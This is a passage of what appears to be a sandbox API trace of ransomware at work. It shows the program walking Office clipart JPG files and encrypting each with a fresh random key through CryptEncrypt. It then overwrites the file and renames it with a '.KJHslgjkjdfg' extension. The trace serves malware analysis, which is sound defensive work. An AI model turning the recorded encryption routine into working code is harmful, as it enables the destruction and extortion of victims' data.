lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.395] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.395] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.395] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.395] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.395] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.395] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.395] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.395] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.395] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4ad8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4ad8, lpOverlapped=0x0) returned 1 [0183.396] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4ae0, dwBufLen=0x4ae0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4ae0) returned 1 [0183.397] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.397] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4ae0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4ae0, lpOverlapped=0x0) returned 1 [0183.397] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.397] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.397] SetEndOfFile (hFile=0x114) returned 1 [0183.400] GetProcessHeap () returned 0x2a0000 [0183.400] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.400] GetProcessHeap () returned 0x2a0000 [0183.400] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg.kjhslgjkjdfg")) returned 1 [0183.402] CloseHandle (hObject=0x114) returned 1 [0183.402] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341448.JPG", cAlternateFileName="")) returned 1 [0183.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.403] GetProcessHeap () returned 0x2a0000 [0183.403] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.403] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.403] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.403] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0183.406] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.406] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.406] GetProcessHeap () returned 0x2a0000 [0183.406] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.406] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.406] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.406] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.406] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.406] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.406] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.406] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.406] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.407] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.407] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.407] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.407] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x52c3, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x52c3, lpOverlapped=0x0) returned 1 [0183.408] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x52d0, dwBufLen=0x52d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x52d0) returned 1 [0183.408] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.408] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x52d0, lpOverlapped=0x0) returned 1 [0183.408] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.408] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x53a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.409] SetEndOfFile (hFile=0x114) returned 1 [0183.411] GetProcessHeap () returned 0x2a0000 [0183.411] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.411] GetProcessHeap () returned 0x2a0000 [0183.411] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.412] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg.kjhslgjkjdfg")) returned 1 [0183.413] CloseHandle (hObject=0x114) returned 1 [0183.413] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7457, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341455.JPG", cAlternateFileName="")) returned 1 [0183.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.415] GetProcessHeap () returned 0x2a0000 [0183.415] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.415] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.415] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.415] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0183.418] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.418] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.418] GetProcessHeap () returned 0x2a0000 [0183.418] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.418] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.418] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.418] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.418] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.418] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.418] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.418] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.419] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.419] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.419] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.419] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.419] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7457, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7457, lpOverlapped=0x0) returned 1 [0183.420] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7460, dwBufLen=0x7460 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7460) returned 1 [0183.420] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.421] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7460, lpOverlapped=0x0) returned 1 [0183.421] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.421] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.421] SetEndOfFile (hFile=0x114) returned 1 [0183.424] GetProcessHeap () returned 0x2a0000 [0183.424] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.424] GetProcessHeap () returned 0x2a0000 [0183.424] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg.kjhslgjkjdfg")) returned 1 [0183.426] CloseHandle (hObject=0x114) returned 1 [0183.426] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa9e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341475.JPG", cAlternateFileName="")) returned 1 [0183.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.427] GetProcessHeap () returned 0x2a0000 [0183.427] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.427] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.427] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.427] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0183.430] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.430] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.430] GetProcessHeap () returned 0x2a0000 [0183.430] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.430] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.430] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.430] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.430] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.430] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.430] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.430] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.431] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.431] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.431] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.431] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa9e2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa9e2, lpOverlapped=0x0) returned 1 [0183.432] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa9f0, dwBufLen=0xa9f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa9f0) returned 1 [0183.433] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.433] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa9f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa9f0, lpOverlapped=0x0) returned 1 [0183.433] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.433] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xaac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.433] SetEndOfFile (hFile=0x114) returned 1 [0183.436] GetProcessHeap () returned 0x2a0000 [0183.436] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.437] GetProcessHeap () returned 0x2a0000 [0183.437] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.437] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg.kjhslgjkjdfg")) returned 1 [0183.438] CloseHandle (hObject=0x114) returned 1 [0183.438] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341499.JPG", cAlternateFileName="")) returned 1 [0183.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.439] GetProcessHeap () returned 0x2a0000 [0183.439] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.440] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.440] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.440] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0183.446] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.446] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.446] GetProcessHeap () returned 0x2a0000 [0183.446] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.446] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.446] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.446] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.446] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.446] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.446] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.446] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.447] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.447] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, 